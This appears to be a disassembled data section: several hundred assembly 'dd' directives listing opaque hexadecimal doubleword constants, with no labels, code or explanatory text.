dd 8D394900h, 8BC75A0Bh, 4E730029h, 0DC3CD571h, 0F012191h
dd 0A60C18EBh, 1C301EA5h, 6D6B0128h, 0B9BD84C2h, 0C182F48Ch
dd 921D3Ah, 6370CB2Dh, 0E7DD76h, 0F8F45C31h, 611F8584h
dd 595E7801h, 49B04E92h, 8815C850h, 0EC9D01B9h, 0FB890A1Ch
dd 0C5CC7072h, 30290F00h, 0D97C4955h, 0FE5E446h, 3875CB4Eh
dd 84B85720h, 870E25AAh, 6F36DDD6h, 49BC6510h, 0C1BC840h
dd 420A22h, 0D0B9FA63h, 0D47F0414h, 2098B100h, 2AF6C375h
dd 1606077Bh, 57712702h, 0B67930FAh, 0E9048A19h, 9E0A335Fh
dd 437A880h, 4F7F3D36h, 0EC3AD600h, 58C3C693h, 0FE4BE00h
dd 9D49F841h, 62B700FAh, 0B86D270Ch, 0C00E9587h, 6ECA53DDh
dd 0EEE9C7h, 80A29F78h, 0C0700C4h, 682D5115h, 7C962A7Eh
dd 0C266FE00h, 95347417h, 0EF644490h, 92014D98h, 438EC15h
dd 30EC949Bh, 1F9F00A2h, 79250EB2h, 97032Bh, 1DD0950Ch
dd 611B00F7h, 9059AB67h, 4A0FEBF0h, 7E0563CBh, 0B1038079h
dd 442C749Ah, 9C0C97E1h, 6F000431h, 2EA110CCh, 0CDBF43h
dd 97F1A0E1h, 4126BA5Fh, 8037DD2Fh, 7A1534C4h, 0E6D10908h
dd 4C019764h, 309A6954h, 0ED0F7980h, 612ABBD7h, 0D05F7342h
dd 0F8D7A8F1h, 41CCE0h, 0D201B2DBh, 6872BCA9h, 0E49E2D28h
dd 4E207713h, 0F1B75423h, 9D40626h, 0FD160059h, 5F2A0B42h
dd 0FA00071Ah, 38AD5BC7h, 19B2FBh, 5191821Dh, 0BBB7AF63h
dd 6C003EFAh, 0F636CFD5h, 70C9538Eh, 7248026Dh, 0AFE3CDEBh
dd 7E659840h, 80432F3Ah, 0CBD58E0Ch, 0E140519h, 5AF6784Bh
dd 1182B980h, 16008D79h, 0B8AC92DDh, 1361EBDBh, 3E9F46h
dd 2713ED4Ah, 29000636h, 88760EA5h, 269249FAh, 1FCAD20h
dd 33487C18h, 0DE17FC3Ch, 414E6FE8h, 0F07DA482h, 1B47007Ch
dd 0AD96A37Fh, 8F00ED73h, 29EF5AB7h, 9869F0A1h, 0D7E403E4h
dd 22161C2Bh, 0B0C4AAB8h, 72F7DE00h, 2487AE84h, 0D66A0399h
dd 0A3D8A033h, 0EFB39EB0h, 0B68A9400h, 89444B41h, 0CDFC0314h
dd 0D9F5A15Eh, 0EB503AC8h, 2347022Fh, 0A0D5A5B8h, 0C8634Dh
dd 91277994h, 0B1D0AB5Fh, 0B5397800h, 0E5F1A347h, 114B015h
dd 0C5BEEA50h, 20BB460Bh, 281D747Ch, 6DC04BDDh, 0DC0FE0B7h
dd 1C207AB0h, 0C18F071Dh, 6418BFD6h, 7E7FE49Ah, 0C9E3D200h
dd 4D5771F8h, 7D870717h, 665DAE2h, 0D4023A2Bh, 19FE3CBDh
dd 0F2FD01Ch, 36EFA76Dh, 7B481460h, 822C0903h, 0AC0E8022h
dd 9669E13Ah, 0A4310788h, 0A028EAD8h, 0D4DAE6h, 0F357132h
dd 82B9336h, 5F579400h, 0C5B3BFB7h, 0ACDC3A91h, 640B0976h
dd 15851055h, 0D3CB801Ch, 0BF00CABDh, 0D05AB5A3h, 70F9FCh
dd 0D2A81204h, 7D7EF19Fh, 0F8D78000h, 0F6F5D914h, 0CF0F003Dh
dd 631E2EE5h, 5300BA51h
dd 19EFD1D8h, 2C22F7E1h, 0FC2F1h, 4EFC5095h, 0F42880CAh
dd 0E800FC60h, 12187FDBh, 0A6511Eh, 0FC0ABCC0h, 8B9A5876h
dd 0BE952800h, 0DCAC31A2h, 0F26E0027h, 8620FBFEh, 570045BAh
dd 8188D10h, 109D9329h, 0E3DD501h, 27530EDFh, 2F202D58h
dd 764378Ah, 0D072F876h, 993BEE0h, 9900FE7Ch, 560DD76Ch
dd 7A24C00h, 6DA6552h, 7E7C3F92h, 0B3422287h, 5C00DB1Eh
dd 0B2BBBAA6h, 50570803h, 0A0D9E013h, 9835C060h, 38A80012h
dd 28D5FE15h, 8C7CF871h, 0AC3CC201h, 66694998h, 77D426C0h
dd 0C37004Bh, 7D581682h, 1100FE91h, 28E91B05h, 0E46CAF4Fh
dd 55431CCDh, 0A2F64577h, 9AA8D06Fh, 0B6FEE916h, 0B8E4E500h
dd 0A685457Eh, 74ECA3h, 1520DFB0h, 9EC99A54h, 25DAA900h
dd 0CEFC98E0h, 77FA00D0h, 0C16270ECh, 5307BDF3h, 0E611C278h
dd 244B7B01h, 0A8D40D2Eh, 35EC0038h, 38D6BA10h, 0C7A40E00h
dd 17407C9h, 0D5087B79h, 303DC12Dh, 0E0008DA4h, 0A4645731h
dd 24730282h, 2414D0EAh, 0CDA70084h, 0BE97F3C9h, 0C86D6100h
dd 0F2C0ED13h, 0D501DDFh, 5EDEC021h, 886EBE56h, 0B9E4D009h
dd 0B3A4839Ah, 0F70AA094h, 578A0083h, 1E100223h, 0A301AB45h
dd 65534DDBh, 203819h, 0F22E072Bh, 937A03h, 7206A91h, 1A955F03h
dd 946906h, 0C437CA29h, 566840EFh, 33F16607h, 0D7203D47h
dd 0B42E7CEh, 1CFCB1DAh, 0B3C2FF00h, 9A09185Bh, 8BE817h
dd 0FD619648h, 1A17D6Dh, 9C14073Dh, 30053B7Ah, 74701690h
dd 651BD905h, 0B414D768h, 0A58D00B0h, 0A9D30F3Fh, 0ACC54816h
dd 22AF0F71h, 40006893h, 49B4B0DEh, 4730320Fh, 1625019Eh
dd 3A2EF1C8h, 6BBC8800h, 6B1D38C8h, 9FEBAE00h, 0D50AE226h
dd 9AC4A1A2h, 0EDA1C20h, 3E4E8657h, 0CF06AFC1h, 0A85EFC97h
dd 13239800h, 8E6C3D8Bh, 2410172h, 4DE9A32Fh, 8688064h
dd 77FCAB37h, 53DA0B19h, 8C6076B9h, 140FBABDh, 4017E45Bh
dd 7966E0C5h, 5D5500D7h, 0C115302h, 0B628285Ch, 0FB7FE8B3h
dd 10BE8103h, 0A864C46Ah, 0DB5C73h, 3967E8FDh, 0EEFC8C50h
dd 1EF8E007h, 2EB0A8C9h, 1026B65h, 0AECC0721h, 2C8ADCCFh
dd 0A530028h, 35FBEFEEh, 0D87901C5h, 0CBB0F3CAh, 4481CCDDh
dd 8F38BCB8h, 0F9FE81DCh, 0A1314D22h, 17643C8h, 67E329E1h
dd 0DC574764h, 9302F661h, 0BAAB5E1Fh, 605EE5h, 72262279h
dd 0CF057194h, 3ED8149Ah, 0DC508A9h, 0FD438098h, 0D800D605h
dd 0B0CF041Ch, 0A669FEFh, 0EEB45891h, 276E02A0h, 4C03044h
dd 8600B3FDh, 1A4F0185h, 127FA9h, 88144BF3h, 22745E0Fh
dd 4A05806h, 78707BD6h, 42BF18E4h, 1FDB48BAh, 0EA356900h
dd 157428F3h, 0E2A50550h, 80E191B4h, 0F6A6D380h, 104F207h
dd 1CB00AC6h, 0A0808BFEh, 7525CDCh, 0A1895DA8h, 0D1E720B6h
dd 903F99ACh, 0CF02F1C8h, 65A0E392h, 88DD63FCh, 16F4A884h
dd 6E6C1Bh, 1FF7AC92h, 7B009D8Eh, 74FE14C7h, 0E07A8B8h
dd 5A64121Ch, 0FB848803h, 3D1180F0h, 0DE7FCC98h, 2285B100h
dd 0CE3FDF99h, 0BD900345h, 211E7403h, 0C856E2E0h, 57B14901h
dd 0BE531430h, 886251CDh, 5DE1B502h, 72C01AE7h, 6E09A5B2h
dd 80DFB147h, 4037E270h, 0D6FD00BCh, 0F4FFD95Ah, 0C91E5E05h
dd 74464795h, 100711h, 0DFD34072h, 178450A4h, 70BEB46Bh
dd 3AFC0061h, 4C600C9Bh, 4F247CC4h, 8B004066h, 28422DC8h
dd 0CEFF0090h, 0BDE0BAE4h, 8479F773h, 7A48F379h, 0E69B001Ah
dd 8E98FE42h, 76C7006Ah, 0FA6DD92Fh, 0FD0182EEh, 2D1AA96h
dd 0C72E5490h, 970D20C8h, 0EA001440h, 438B1DDEh, 0B8137288h
dd 30DF01BAh, 0D0E38910h, 0D382C07Eh, 229AC60h, 1DE02B2Ah
dd 0CE5A9960h, 0B100DD77h, 6BD531D1h, 3D137E18h, 1452180h
dd 0F7A85D40h, 0D037C079h, 130FB2D5h, 0C0FC8B1Eh, 0B5669EEBh
dd 0BEF500D1h, 0C2165658h, 0A008009h, 0FC67EAB9h, 0CDE9A5h
dd 0C60E43DDh, 17718172h, 598C611Eh, 0DE38Bh, 752B79CEh
dd 0F6D100A8h, 0F57EADFh, 111DDB14h, 0B5C081F8h, 22C5EB52h
dd 79E0001Dh, 424E366Fh, 6A00F5A1h, 0AC98062Dh, 68A882h
dd 34BE3E29h, 263CA9B7h, 0A7A01B00h, 98B2DD1Ah, 0C73F0F56h
dd 8E82C822h, 90EB48E4h, 30994DF9h, 0C126BCA4h, 6280FC3Ah
dd 2AD1A96Eh, 42477DDh, 0F2C22884h, 3B3880E3h, 0D6018936h
dd 407760Ch, 9DDC22C6h, 4FC209C0h, 0A080FAADh, 9831BB21h
dd 5F2A6200h, 2CDBB469h, 0DAC30079h, 0EA1D7F54h, 0D700F69Fh
dd 980A7DC1h, 0DD113Eh, 6AB6EBDEh, 35BA4540h, 28220430h
dd 593BB2h, 1D29ED80h, 9B4958A2h, 0F43D0701h, 852F480Ch
dd 44030A06h, 20EDCBDAh, 0AB821254h, 65B4A456h, 25790200h
dd 0E8139B1Ah, 846F0C40h, 9430CC31h, 78C9D702h, 6051D88Eh
dd 15AE453h, 3670249Ah, 68A1370Bh, 179B1CE4h, 0A6AE3AC3h
dd 624CA1D6h, 0B20330h, 46FFA0C6h, 3540FD16h, 0C5E81FAh
dd 3517400h, 133A8CC5h, 40040A27h, 8F6B3694h, 910BB359h
dd 2009F378h, 56C979F8h, 467A3Ah, 2502EB88h, 987940Ah
dd 0A283F200h, 9A921ADAh, 7F640019h, 2591EF0Fh, 709870CAh
dd 0DD219C00h, 0CCF8A1C3h, 141300ACh, 64E03F4Bh, 0B11660D1h
dd 78B43E45h, 25952C69h, 7E360024h, 0DB578D17h, 0C4C8EA00h
dd 0FF430A21h, 9CE44Ah, 83EDC7CFh, 0D0869733h, 946F2B00h
dd 7219BC48h, 0B9AB0312h, 82A33879h, 159995C0h, 0A5F62EFCh
dd 432F9000h, 1C8E097Bh, 680B00F9h, 485C9F92h, 10E7EBBh
dd 8006CCh, 0DA5BD9BEh, 0A51300F8h, 1B514E39h, 7C0005ECh
dd 47B6BC4Ah, 68AADCh, 594BEA26h, 0AB29C40Fh, 7636D0A0h
dd 8A04C2F2h, 0DB6020B1h, 0A54CF0h, 0F5A60611h, 0ED059B3Eh
dd 8E413B02h, 0E8CEA41Fh, 0F470A2E8h, 0FEB40046h, 95BA2C94h
dd 4E588B06h, 16653CD4h, 0B4E002F2h, 147E89h, 1FECCC66h
dd 821D9175h, 0A8CAD13Fh, 7800A8C4h, 52C9E63h, 0ECEC6871h
dd 0A17D0Fh, 0FB5806B3h, 0E9B80ABFh, 819C6D3Ch, 0F16E323Ch
dd 0A643DD28h, 807C81B2h, 0A79DC8h, 0C3BDC11Fh, 0E56B90D5h
dd 2C4F48h, 81FD1BE1h, 14E68F0h, 250FBF6Dh, 6A52511Ch
dd 41EE340Fh, 3A54D2C3h, 0B005D83Dh, 0B9D8952Bh, 0A0900F4h
dd 0A07B44B2h, 90965C7Eh, 55D8BF00h, 0EE2E5B8Fh, 49B8D612h
dd 0E0A66C0Eh, 5DB7FFACh, 9900062h, 2C8352Fh, 70702729h
dd 0DE51FB1Fh, 6E3D6540h, 1E7D23Fh, 0EA758FECh, 0CCA81915h
dd 47149B0Ah, 1294C24Bh, 88C0728Dh, 1A1B4Fh, 0F0FF10E4h
dd 3FCF8523h, 0BEB24D07h, 17E0E6B5h, 0D7328Ch, 8503FAD4h
dd 0DBCEBCC8h, 0FD7A611Eh, 13098F01h, 802020DCh, 0C8040034h
dd 3A39E9E8h, 0BF006229h, 932B01A3h, 0F36EC4h, 9C87205Ch
dd 1A318583h, 47344A04h, 0C4C8F76Dh, 0F3701054h, 994F001Ch
dd 0D718AD63h, 0FA3A1D48h, 0FB8580AAh, 0B2F75044h, 38F32300h
dd 0F2C0033Bh, 35840259h, 2B8AAB3Ah, 0DA5D0461h, 700090D8h
dd 0C750059Dh, 3F069BD5h, 96008793h, 0CCBC32E5h, 4707B54Ah
dd 5B6248F0h, 0A5979CD1h, 3600F83Ch, 0B1F3798Dh, 0BD00F98Ch
dd 91BB5BB3h, 9DD16CACh, 43BF1487h, 0B8B0032Dh, 88097ECDh
dd 82523624h, 0C079443Ch, 2C19023Ch, 80845C0Dh, 0FD7520A2h
dd 4961B5A7h, 0B302BF28h, 39ECC030h, 25006F78h, 4C6644Eh
dd 2F4CDC58h, 88185017h, 290052EEh, 646C3EE5h, 1554DD8h
dd 75F336C4h
dd 7ABC2463h, 547D3000h, 970E276Ch, 51A84880h, 341C6845h
dd 3C89FA57h, 647899h, 2BC43F1h, 50B4FBF8h, 1C5352h, 0B8607047h
dd 1D9FD4BAh, 125CF6DFh, 87D00030h, 8C8D279Bh, 0DD071900h
dd 0AE2F5A8Fh, 495103C0h, 2784FAFDh, 44567DEAh, 112C5800h
dd 72FA29Dh, 9FEBACDFh, 8575C29Bh, 498A3B61h, 5C24F04Ch
dd 11C26F01h, 2FA5651Eh, 53A84ADBh, 5F3F03ECh, 5CB0FF29h
dd 69C057F6h, 0E0112DCAh, 0C0CD4F33h, 13EAA220h, 927CBC52h
dd 0ED5A3460h, 939CA552h, 9A690070h, 90095C8Bh, 0B05D8805h
dd 3C971497h, 0B54955E0h, 521D0176h, 0CFC7BD9Ah, 0A66880B3h
dd 0C1436754h, 38EC00E0h, 0DB5DA861h, 1E780AD2h, 693D88h
dd 7C9212FEh, 7F702985h, 23EE0A00h, 2582A9FCh, 28BE0Bh
dd 5C48D51Eh, 102CC793h, 7D09AD26h, 1D807A5Dh, 58A0D3h
dd 48E5494Bh, 0D77E2953h, 1C6C53Eh, 9162674Fh, 0E9E31C26h
dd 0F3FC601Fh, 161A000Dh, 52218450h, 4300F825h, 980E319Ch
dd 2D02358Bh, 4040AD15h, 660019ACh, 18C336ABh, 7C420ADEh
dd 0B4809F53h, 45A30B29h, 63A01D61h, 0EDE4D225h, 0C13601A8h
dd 0F627B7A1h, 0E7AC00Dh, 91A60802h, 4075D96Dh, 79109B8Ch
dd 6CDE00FCh, 0B21F5BD7h, 0E30057B8h, 0C8F342D1h, 96AE6E9h
dd 0A9242EC9h, 10480860h, 9DA71F00h, 18C7163Eh, 2E501F55h
dd 5F4A0727h, 0C033458Ah, 0BA47198Dh, 516853Dh, 6C07213Ch
dd 515DD080h, 4E8F01BDh, 0C263F0D5h, 74F82020h, 0C0BE0700h
dd 0B0F685E4h, 0BDC93965h, 453926h, 96AE76A9h, 9906B168h
dd 0A83261FEh, 2B090059h, 0EB9D1CC9h, 51C0E410h, 0D60DBE72h
dd 30DB00D5h, 0DDB6A7E9h, 0CC38234Bh, 7DC70018h, 0AA043A44h
dd 0A96F3399h, 0E9E0D058h, 78CED19Fh, 2A13ABD5h, 0FB9C40B2h
dd 6C4077D2h, 61B44E60h, 0D88E54BCh, 0F09C1CCDh, 5D17CBB6h
dd 24013009h, 38C329F2h, 84992434h, 0A79A800Eh, 0DD90587Ah
dd 5B2C46C7h, 7D64003Dh, 9235D8EAh, 7B055BEAh, 0E43C7971h
dd 0F88018C5h, 0F0D9E15h, 3FB03EF2h, 48A44283h, 0F989A5C0h
dd 9658873Ch, 0DF02560Ch, 0C00F2A30h, 5DBBFFh, 0ECA8F96Bh
dd 3A413CC2h, 8691680Fh, 0ED29E0DCh, 5BDB65h, 2A146325h
dd 0EF4543B9h, 0D317E000h, 72F8106Ah, 66AF0B8Bh, 0AA8CFE88h
dd 0A2B0659Ch, 6A0A88A1h, 0BC641C40h, 7A8B2763h, 0C779008Ah
dd 0EAC9821Ah, 0B10148E7h, 74214D07h, 0E8642211h, 0D2C2E2Eh
dd 60BB0011h, 4352A667h, 545A572Eh, 766E1904h, 2E01A4B8h
dd 3BA07FD5h, 5A9D883h, 0B8CA5100h, 396FE8F6h, 7FD10115h
dd 63E5689Ah, 0FC11D497h, 2901DF00h, 42DA2BB4h, 10C10E57h
dd 0F0A027A2h, 7762F78Ch, 8807824Ah, 3413FDD0h, 99FCC1AEh
dd 5A9BC4h, 0CC5B7219h, 5E9C071Eh, 8924C600h, 0C077338Ch
dd 23595817h, 40DA491Dh, 55FB9E50h, 4161D671h, 0A561D96Ah
dd 0E2F416F1h, 499000B4h, 0AFAA5114h, 0E0901295h, 3171E1Fh
dd 0EE5A7F80h, 495D4B35h, 82042C78h, 0F4725036h, 0FF44D48h
dd 0E71C9C03h, 755AB8h, 0BDDC1E29h, 0B5E238C1h, 0AAA9790Bh
dd 976800A3h, 1D81023h, 781882B0h, 0C0F4F92Ch, 2759072Fh
dd 1530846Ch, 3229FF4Eh, 0E1915F03h, 984439A8h, 0F7CB0400h
dd 115355BFh, 431D26C6h, 8A60C0B0h, 5F0057DEh, 11F317E2h
dd 0EAA6CFh, 6DC127DAh, 45DBFDC0h, 0EC8D2A00h, 60A8082Ch
dd 0BEA071Dh, 0A023441Fh, 0F5F226C4h, 0B38C5D24h, 0A86CC202h
dd 47BC685Ch, 0BC69008Fh, 52C93FE9h, 600095E2h, 0BAB629B0h
dd 9F15349h, 5A3E59EAh, 238D401h, 70B86477h, 5F31D39h
dd 63AAE90Ah, 0A103F4B9h, 764EA384h, 53588E98h, 0B8D69826h
dd 0A72B0039h, 29176AF7h, 0D992044Eh, 919385A8h, 9EFE4318h
dd 4A1354D1h, 98816CF0h, 830A259Ch, 270C4C58h, 71C6D470h
dd 0EFA816F4h, 5C3C00FEh, 0BED3E605h, 443BC70Fh, 7C327630h
dd 3BA3B3Fh, 0C70010C6h, 0A552C5FAh, 4CAF6A25h, 0C800E082h
dd 6D7AED41h, 41CB45A7h, 879C1817h, 0D4290E59h, 0C225BFB8h
dd 6B5C2C52h, 0F7EF5F02h, 6429A7F4h, 0B10200F8h, 3DCA5DAAh
dd 0C800F28Dh, 645E7662h, 0D08447h, 4144544Ch, 19290873h
dd 28347C00h, 0FE9A38D7h, 149D0048h, 46EFDC2Ch, 0DB09588Fh
dd 804A1173h, 0D13E72B8h, 0E010032h, 0B3817F9Bh, 0C8001EEDh
dd 474326CCh, 199EF93h, 31055BB4h, 80E77C5Fh, 0E9B34B11h
dd 9160FB6h, 0BA753A43h, 0CEEB1821h, 1DE18103h, 768C3447h
dd 5B03080h, 0AE3AC694h, 8CEC842Ch, 0BFB53200h, 0FA6237E6h
dd 14ED329Bh, 78746D48h, 0F1214A87h, 0B3280821h, 1FD365C8h
dd 52CCE87h, 503C68h, 139C5B9Fh, 0C200BAC0h, 9BCC4EB1h
dd 15CE28h, 4B665193h, 303C1145h, 0A3FC3900h, 763E4DE7h
dd 0AFA5011Fh, 877FBBF3h, 0C7F4D8D2h, 0F0C55B00h, 0EAD3892Ch
dd 16DCE684h, 8592BEh, 9B9CE81Ch, 4000A8BFh, 9A2E5112h
dd 0AC9F1Eh, 114F64E6h, 156EC885h, 14B69500h, 860822E7h
dd 605374D6h, 6EE63AACh, 3D01F5F3h, 300A90E2h, 0D1E49B09h
dd 0B9F81C9Fh, 1CD8D338h, 0FB6C433Eh, 9CF022F9h, 0C1C02014h
dd 5787C74Eh, 2BA13955h, 6E4BD984h, 0C1408031h, 460CE0B7h
dd 1A18047Bh, 0EAE7F4DBh, 0F073589Eh, 8026F903h, 43B03E70h
dd 5E1354E4h, 2800A74Fh, 353AB6A1h, 0BD890E32h, 0ED854505h
dd 7F480C7h, 2400F08Eh, 0E39837E0h, 2F4B6A2Bh, 886A8015h
dd 8E3C44D0h, 0C63D0B89h, 3950D04Ah, 5439165Fh, 76350281h
dd 605D9EF1h, 5502BCF5h, 1C62F5EBh, 75F44995h, 0E378213Bh
dd 8C410029h, 0E957009Ch, 8A03648Dh, 0EA006B38h, 0B0BB861Bh
dd 0BAD6EBh, 4BBC5278h, 0FAB30C3Eh, 5C275839h, 514080B4h
dd 9A204C3h, 3A4C7107h, 6EFBA4A0h, 2B6F3BD8h, 0A15EA011h
dd 0BA3AABA9h, 0E830A040h, 8027B720h, 17479086h, 3C02F464h
dd 0BAB3D96Ah, 0B4BC4024h, 5BE04F8h, 0C068EAB9h, 6C27966Dh
dd 0C9E35307h, 5950603Eh, 1D4863ABh, 2BBE5B2h, 2A04FAADh
dd 0D07E7C62h, 52C8800h, 94A12FDCh, 0E6DE00F8h, 0A057B017h
dd 0E0C8F400h, 2D1B6CBEh, 184E3D0Bh, 41050CCCh, 0C3549A36h
dd 0C084CD52h, 49AB34E0h, 24CC24Ch, 0BDDB272Dh, 0D16C6893h
dd 601F009Bh, 0BA2F4E78h, 62167054h, 3C80C008h, 1C7A7264h
dd 4069C3A2h, 0DBBC83FFh, 560098E2h, 852E0540h, 966FAF27h
dd 501354h, 0EA44D38Ch, 0FCE8C5D9h, 0CFDF9402h, 48FE9C27h
dd 41EEB14h, 0C0CE38CBh, 1310AC8Dh, 0B839026Dh, 72A0D86Ch
dd 0DA0014BDh, 6D34E7D1h, 206BBF7h, 265FE9B8h, 18C48D85h
dd 0A8C0FC94h, 0EF95DC9h, 8242CFD9h, 0A81E1E8Bh, 401658h
dd 0EC17A453h, 33B03543h, 0C368F840h, 1A236CC8h, 0A7E35402h
dd 69D34E3Bh, 1839C680h, 5F03384Ch, 0E4F9E52Ch, 9F74FD90h
dd 805DB428h, 0B83C77EEh, 0AC273A84h, 43C92CEAh, 8B44DCFCh
dd 3083AB6Eh, 0E8C1A8F2h, 3F7D0161h, 7908234Dh, 4BEC6287h
dd 2030042Dh, 2B1E002Ah, 9EFC7481h, 0F080E3B2h, 0E4E800BFh
dd 0F28F2137h, 7D00EB43h, 87F70A66h, 1178386h, 372C0BFEh
dd 62AD5E50h, 6824035Ch, 7A8BA7DAh, 56234EA8h, 0C1D4F450h
dd 4C18B24Ch, 0CF800F4Ch, 8529038Bh, 0C14E86Ch, 74C890E0h
dd 7A0102ECh, 494BF124h, 7B004856h, 99468285h, 64D40004h
dd 0F4733470h, 184837B8h, 53C600B0h, 0B76C4739h, 581B00DCh
dd 9E5AEFA4h
dd 7AF4259Ch, 0BBC80D07h, 2C071B4h, 170E0ACh, 9B07208Bh
dd 70825EC0h, 13079FD4h, 0FB58C674h, 6AC2240h, 9E641289h
dd 0E220477Eh, 988D60ABh, 400007CAh, 0ED99033h, 258F0665h
dd 3CD9D26Fh, 0AEEB6D00h, 18F6F8h, 0ABAAA8DFh, 0D46B08A7h
dd 8296DB3Eh, 9B5239BAh, 2698801Eh, 42AA6EEh, 0AC0DF620h
dd 22F9C643h, 190E4600h, 0FCB65B8Fh, 261D00D5h, 5C76E450h
dd 0C30048D3h, 0ACFD1663h, 3915BA78h, 9401669Ah, 0A93FAA58h
dd 0DD97D4DAh, 7CFE1C05h, 0E0006AEFh, 0D44FFBEEh, 39ED00E3h
dd 283AA260h, 6100DB6Fh, 0E2CE594Dh, 0D8709Dh, 847A9014h
dd 66D61D13h, 0B057801h, 0AFB9A1D5h, 9719368Bh, 9F8A0D0Eh
dd 6DD20CF8h, 0E200C048h, 5111FBF6h, 0EE71B904h, 24BF0B70h
dd 6400E0EFh, 9AA8BA47h, 20541100h, 84F0F56Fh, 28255C91h
dd 1BDB6600h, 0F8C9E55Eh, 1F55BF00h, 0F92D6794h, 0E22AE4CAh
dd 0B14D025Bh, 0A481547Eh, 0C783A4C0h, 41756730h, 9A397Fh
dd 0EBE1B319h, 0E773B5FFh, 0A8B0BA24h, 50B4D039h, 40565A25h
dd 0EC3A4D4h, 93304033h, 15FDEEA0h, 0E400C01Ah, 0BA255FA3h
dd 3FD8B366h, 0E3A826Eh, 0BFD15482h, 81604B91h, 0A8B8EF0Dh
dd 8B372709h, 0B4D017h, 0B3E344ADh, 5F14AEBEh, 6DC1510Eh
dd 0D90A0F8h, 1724B17Dh, 0E022D67Ch, 5A2081D8h, 2CFE2425h
dd 497DA8A4h, 0B24E8A6h, 0B271DA0h, 880E7E7Ch, 6EAD4261h
dd 1A118076h, 4EAC9C9Fh, 0A8C50C79h, 0C8500DF1h, 5055F700h
dd 6C0A7DB6h, 8BA3007Fh, 0F2A2F0Eh, 9E135F15h, 4000F275h
dd 3E353F07h, 20F005BEh, 0C1F852F4h, 2A340388h, 0EAD6E800h
dd 695E0Dh, 0E146F2E7h, 0B87F2C1Ch, 7B881F00h, 6B7010EBh
dd 0EE4000D1h, 16D52692h, 0DF005115h, 62E22E61h, 7B6D7C31h
dd 0E30C00DDh, 138C5895h, 830F99C7h, 0EA036h, 0B46DB62h
dd 0B29600A9h, 0B46A4EE0h, 0E54CA829h, 8D7A0434h, 84804C9Ch
dd 233B11h, 0C72F8924h, 0D92570DCh, 0A56C7426h, 758E5B00h
dd 3D47DF7h, 1DF2D7BFh, 0C9E89E07h, 0BC1EFBC2h, 4AC7C69Ch
dd 0EC80975Fh, 0E919DE4h, 3DDC930Eh, 8249422h, 0CEF57A41h
dd 4013AC5Eh, 0DFD24A00h, 1A8DCA4h, 0B98D4928h, 3110ED86h
dd 0C0F8E9BFh, 0EA4A13D3h, 0FE878487h, 5E7925F2h, 0DF7A8070h
dd 4BCAEB28h, 36408DFEh, 1170061h, 0B7E41B26h, 3A2CEC39h
dd 7E008863h, 59A15793h, 0D0600F47h, 3A0C95Eh, 0C7EF7DF5h
dd 0C12B8000h, 0D2DBDA56h, 0E5DD1D28h, 0CB0D0965h, 6DA7C880h
dd 0E0BA2590h, 0D548D4F0h, 0B6740021h, 82816319h, 0B8270070h
dd 5E41C27Fh, 7E1D804Bh, 0F0086A1h, 1556209h, 0F18B0089h
dd 0B5A47097h, 0E6EA6FB2h, 5B82A0Bh, 576F83DAh, 6A4BA91Dh
dd 41F0BAC5h, 0FC181BB5h, 43C9882Bh, 493FECB4h, 71CD641Eh
dd 91C6C340h, 904B7574h, 0FAEBF45Ch, 794000F1h, 9ECF9D1Eh
dd 0A1008AF4h, 0B13B4463h, 272D9005h, 1C000462h, 0BB5F5509h
dd 86286403h, 0B87A3289h, 1E74821Ah, 0A6EE102Ch, 0E94F05FCh
dd 2550F285h, 96ECE0ACh, 457D3Dh, 3EF15573h, 0DFCBA140h
dd 230C31ECh, 282BD741h, 918EC048h, 0F61E1C20h, 0E0B13701h
dd 0C5B03054h, 82E632E5h, 800385E4h, 0BBD94688h, 9ED8008Dh
dd 0FAAEA36Fh, 0C501B31Dh, 35444B3Dh, 0C0295CF2h, 34C4A300h
dd 0BE922D3Fh, 24FEEF05h, 0F8FCCA11h, 13A0C928h, 21B4B9D3h
dd 64D97414h, 10769BB8h, 0AD6C1500h, 0B8F95F97h, 50950BC3h
dd 60F0D1AAh, 12FDD00h, 5274F486h, 0FBC30371h, 464D28A0h
dd 0DC8F18BAh, 50CEC742h, 0A44070DCh, 0DC606Fh, 0AEEF3DD0h
dd 0B8FDCE05h, 0AC88C49Ah, 495BA483h, 1EB14888h, 8057067Fh
dd 0E86FEE78h, 9000DBCEh, 6B2CEB9Dh, 9A97FF94h, 9C5E0070h
dd 0F46A6107h, 0D225590Eh, 88F884h, 0E91F5854h, 0C047874h
dd 54BE67F2h, 7C4880AFh, 1F14B56Fh, 0A52D99E5h, 86132000h
dd 25FEE97Ah, 0DAF725h, 63DF953Ch, 0F66D00F8h, 39A1188Ch
dd 0F000F35Fh, 98BA999Eh, 78315EBh, 266E1EB7h, 538FCACh
dd 14B36F2Eh, 62BA8500h, 1B0E01Ah, 0C2599C36h, 0F0812492h
dd 970018CDh, 34AA3768h, 0BA0A1E0h, 67535BC8h, 485E1800h
dd 0D8984C15h, 18221F38h, 0AE111A43h, 4E383E72h, 0D0C0DB00h
dd 8E3FD240h, 80A86417h, 7A01484Bh, 0B04A1730h, 2FC84155h
dd 7088FCE3h, 0B34B601Ch, 6FE9CB0h, 7EC4BF7Bh, 0C7001133h
dd 908C969Bh, 0BFF1107h, 0B2A07CABh, 8055478h, 496FFBFDh
dd 0EC3A18E8h, 6CA40B5Bh, 80B7ACD2h, 6D41BD0h, 0D6826E0h
dd 0C1DC048Dh, 7404AF86h, 0FA002095h, 880F84BBh, 70475Ch
dd 4962CC6Eh, 1D16965h, 97087E31h, 20E013C2h, 57704751h
dd 43498E01h, 55F5D20Ah, 0D757E03Eh, 90E89C00h, 0F21F18A5h
dd 0BB970F6Dh, 8200EA9Fh, 285C24ADh, 0F5D0AA01h, 0A96D070Dh
dd 9E5ED4h, 0CDA4792Bh, 4716C299h, 56D6A200h, 714F42BDh
dd 3CE40E55h, 1DC15F50h, 6B6B91F3h, 0C3970C23h, 8A758068h
dd 0FBB400A5h, 0C0DE61DAh, 12077E9Ch, 0CFA39E51h, 0AD661EB1h
dd 293CD62Bh, 0BA3CC095h, 9C9091h, 236B93C0h, 0D68B2E21h
dd 3272F90Fh, 5BFFA0B0h, 3FAB39Fh, 0AEE29C3Bh, 26F04C46h
dd 8D4B5C29h, 90595CA0h, 331E0180h, 4431997Ch, 0CCC02BC3h
dd 0F44F7B97h, 0B82F0061h, 0BBC156C8h, 7507FD0Bh, 2388AF87h
dd 4DA2BEF0h, 659001EAh, 5305DEFh, 0AF1830D0h, 2513A8F2h
dd 7401A9DEh, 83CAD633h, 24F31870h, 92B4BB56h, 891F0F79h
dd 960B1200h, 5102F0AAh, 0F4F1CF1Ch, 6A487E3h, 0E0EC34F0h
